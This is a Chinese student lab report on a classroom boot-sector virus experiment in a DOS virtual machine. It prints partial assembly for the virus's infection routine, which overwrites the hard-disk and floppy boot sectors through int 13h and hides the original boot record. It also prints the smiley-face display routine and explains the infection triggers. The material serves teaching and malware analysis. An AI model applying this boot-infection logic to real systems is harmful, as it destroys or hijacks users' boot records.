实验一引导型病毒实验
1. 实验目的
通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染染毒文件的方法,提高汇编语言的使用能力。
2. 实验内容
本实验需要完成的内容如下:
引导阶段病毒由软盘感染硬盘实验。
通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。
DOS运行时病毒由硬盘感染软盘的实现。
通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。
3. 实验环境
VMWare Workstation 5.5.3
MS-DOS 7.10
4. 实验步骤与结果
第一步:
1、打开VMware Workstation,新建虚拟机,过程如下:
然后点next,点NEXT, 硬盘大小可自行分配,大概1G左右就ok,一直到完成为止。
第二步:
1.安装MYDOS
2.启动虚拟机电源,自动从虚拟软驱进入安装过程,一路点NEXT,AGREE到为虚拟机系统生成一块fat32的硬盘区,点击,然后reboot。
3.再次进入安装引导过程,一路点NEXT,AGREE到重写MBR 选yes,而后选择安装目录C:\dos71目录。
在选择DOS commands only安装。
并取消DOS add-on 的安装复选项。
然后一路点NEXT,AGREE。
选择enable umb memory
在下一个页面里选择load both cd/dvd 和IDE/ATAPI
第三步:步骤如课本实验一
1.运行虚拟机,检查目前虚拟硬盘是否含有病毒。
2.将virus.img加入软驱,运行虚拟机:
3、删除虚拟软盘,通过硬盘引导
按任意键进入DOS系统
4、通过命令format A:/q 快速格式化软盘。
5、软驱中加入empty.img引导。
如下:
5. 病毒代码分析
i. 传染模块主要代码及传染过程说明;
inc cx ;cx此时为1,为2
mov ds:[si+offset reg_cx],cx
mov ax, 0301h ;写入一个扇区
mov dx, 0080h ;写入硬盘1的0面
int 13h ;开始写入
jb boot_dos ;不成功转到boot_dos
mov cl, 21h ;准备搬移33个字
mov di, 01beh ;从内存高端的03beh搬移到
mov si, 03beh ;内存高端的01beh,此处正是病毒程序的驻留区rep movsw ;开始搬移
mov ax, 0301h ;准备向硬盘写入一个扇区
xor bx, bx
inc cx ;cx置1
int 13h ;写入物理硬盘0面0道1扇区
call near ptr install ;安装病毒的int 13h
mov dx, 0080h ;读硬盘0head
int 13h ;开始读取//*** 读取正常的引导扇区,以备安装病毒的int 13h 后正常启动
call near ptr install
传染过程说明:
先判断机器从哪里启动,如是从硬盘启动,直接安装病毒到int 13h,通过int 13h 感染软盘。
读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h,读取成功转read_succ处理,否则软驱复位。
读取操作次数减1,不为0再次读取,否则退出。
读取成功后,以vir_init处一个字的机器码为特征码进行比较,判断软盘是否已经染毒,如果未染毒,则进行传染。
若已染毒,则退出。
若是从软盘启动,需传染硬盘。
将读到的正常引导记录保存道0道2扇,写入一个扇区,再写入硬盘1的0面,写入不成功转到boot_dos,判断是否已被传染。
写入成功则准备替换引导扇区,保留硬盘分区表,准备搬移33个字,从内存高端的03beh搬移到内存高端的01beh,搬移后将cx置1,写入物理硬盘0面0道1扇区。
ii. 表现模块的主要代码及现象说明;
waitstart:
loop waitstart
call clearstr //显示空字符串,抹去刚画的笑脸符
mov ax,0100h
int 16h
jz nextloop
ret
;调用10h中断将字符串打印到屏幕上
dispstr:
mov ax, cs
mov es, ax
mov ax, offset bootmessage
mov bp, ax ; es:bp = 串地址
mov cx, 5 ; cx = 串长度
mov ax, 01301h ; ah = 13, al = 01h
mov bx, 000ch ; 页号为0(bh = 0) 黑底红字(bl = 0ch,高亮)
mov dh, 5
mov dl, col
int 10h ; 10h 号中断
ret
;用空格清除上一次的输入
clearstr:
mov ax, cs
mov es, ax
mov ax, offset clearmessage
mov bp, ax
mov cx, 5
mov ax, 01301h
mov bx, 000ch
mov dh, 5
mov dl, col
int 10h
ret
现象:黑屏幕上笑脸符自左自右反复显示,有动态效果。
iii.说明该病毒触发传染的条件;
病毒会将正常的引导记录存在:硬盘,0面0道2扇区。
取出的地址如果不
是0道2扇区则系统一定是从软盘启动,此时需要传染硬盘。
如果是0道2扇区则一定从硬盘启动,直接安装病毒到int 13h,通过int 13h 感染软盘。
传染硬盘时,要先读硬盘0面0道1扇区得内容到病毒驻留区段并偏移512个字节,把读到的内容的第一个字取出与06ebh相比,判断是否已被传染。
如果比较结果相等,说明硬盘先前已传染,就不再次传染,直接调用子程序,安装病毒的int 13h。
不相等,说明硬盘没有被传染,跳转到传染程序。
iv. 说明病毒表现模块触发的条件。
开启电脑(或虚拟机),电脑(或虚拟机)开始引导启动时,因为正常的引导的位置已变为病毒程序,所以此时立刻运行病毒。
将病毒的程序码搬移到1k 高地址区,置搬移数量及搬移目的地址的偏移地址(段地址es先前已放置),开始搬移256个字,也就是512个字节(一个扇区)。
再转到藏身区继续执行。
病毒程序将在1k的驻留地区继续执行,触发表现模块,程序即进入黑屏幕上自左至右反复显示笑脸符的主循环。
6. 总结与心得
本次实验过程为先建立一个虚拟机,运行虚拟机,检查虚拟硬盘是否含有病毒。
然后将有毒软盘加入软驱,这时病毒寻找DOS引导区的位置,并将DOS引导区移到其它位置,将自己写入原DOS引导区的位置。
病毒占据物理位置并获得控制权(在启动虚拟机时获得)。
病毒引导程序运行后,病毒驻留内存,将控制权交给真正的引导区内容。
虚拟机运行,发现虚拟机已经染毒。
将染毒虚拟软盘删除,通过硬盘引导,病毒依然存在。
用format A:/q 格式化硬盘A盘后,运行虚拟机,虚拟机依然有病毒。
通过此实验,我也算认识到引导病毒的强大,对引导病毒感染电脑的现象有了一定的了解。
以前没接触过虚拟机,看一些同学弄虚拟机感觉好高深,今天也终于有机会自己建了个虚拟机。
我还更清晰地知道了引导型病毒的生存循环。
不过,对引导病毒我还不是了解得很深入,此次实验后,我会多看看书,查些资料,有时间再到机房钻研一番。
希望能有更深入的了解。